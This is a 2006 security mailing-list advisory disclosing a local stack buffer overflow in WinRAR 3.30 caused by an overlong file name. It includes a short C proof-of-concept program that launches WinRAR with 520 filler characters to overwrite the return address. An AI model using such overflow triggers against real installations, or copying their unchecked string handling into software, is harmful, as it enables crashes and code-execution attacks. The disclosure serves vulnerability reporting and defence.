Date: 3 Jan 2006 06:08:18 -0000
From: [email protected]
To: [email protected]Subject: Winrar 3.30 Local Buffer Overflow
X-Virus-Scanned: antivirus-gw at tyumen.ru
Hello everybody
We found a vulnerability in WinRAR 3.30 that overrun the program in Windows Platforms .
Synopsis: WinRAR Buffer Overflow Vulnerability in File Name
Product: WinRAR
Version: 3.30
Vender: RARLab (http://www.rarlab.com)
Remote: No
Local: Yes
Discover: Vredited By Alpha Programmer & Trap-Set U.H Team
When WinRAR Opens an archive which includes the long File Name in inside, Buffer Over runing occurs on the stack.
This Event Happen When We Use 520 Character inside the Winrar.exe. it Fill the Ret Successful .
In Follow You Can See a Proof Of Concept For Overflow . Please Execute it in Winrar 3.30 Directory :
#include<stdio.h>
#include<windows.h>
int main (void)
{
char bad[1500] = "" ;
char bad2[1500] = "WinRAR\t";
printf ("\t\t** Merry Christmas **\n\n");
printf ("\t\t Trap-Set U.H Team\n");
printf (" \tWinRAR 3.30 Local Buffer Overflow\n");
memset (bad,'a',520);
strcat(bad2,bad);
printf("\nOver Running ... Just a Proof Of Concept . Not For Attacking !\n\n");
printf("\tDiscovered By : Alpha Programmer\n");
system(bad2);
return (0);
}
Tested on WinXP SP 2 Platform .
Special Tnx to :
mh_p0rtal -- Dr-CephaleX
And : www.Couz.com Security Team
For Contact :
[email protected]
